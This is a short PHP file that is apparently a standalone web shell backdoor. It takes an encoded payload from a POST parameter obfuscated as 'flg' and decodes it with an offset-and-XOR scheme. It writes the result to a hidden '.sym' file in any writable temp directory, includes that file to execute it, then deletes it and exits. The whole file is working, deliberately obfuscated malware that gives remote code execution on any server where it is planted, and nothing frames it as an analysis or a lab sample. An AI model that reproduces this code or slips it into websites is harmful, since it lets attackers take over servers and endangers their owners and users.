<?php

if(filter_has_var(INPUT_POST, "\x66\x6Cg")){
	$element = array_filter(["/var/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]);
	$ent = $_REQUEST["\x66\x6Cg"];
		$ent=	explode	 	( '.'	 ,		$ent  )			;
	$val = '';
            $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s3		);
    
            foreach ($ent as $w => $v7):
                $chS = ord($s3[$w % $sLen]		);
                $dec = ((int)$v7 - $chS - ($w % 10))  ^	32;
                $val.= chr($dec		);
            endforeach;
	for ($bind = 0, $key = count($element); $bind < $key; $bind++) {
    $marker = $element[$bind];
    		if (max(0, is_dir($marker) * is_writable($marker))) {
    $ref = implode("/", [$marker, ".sym"]);
    if (file_put_contents($ref, $val)) {
	include $ref;
	@unlink($ref);
	die();
}
}
}
}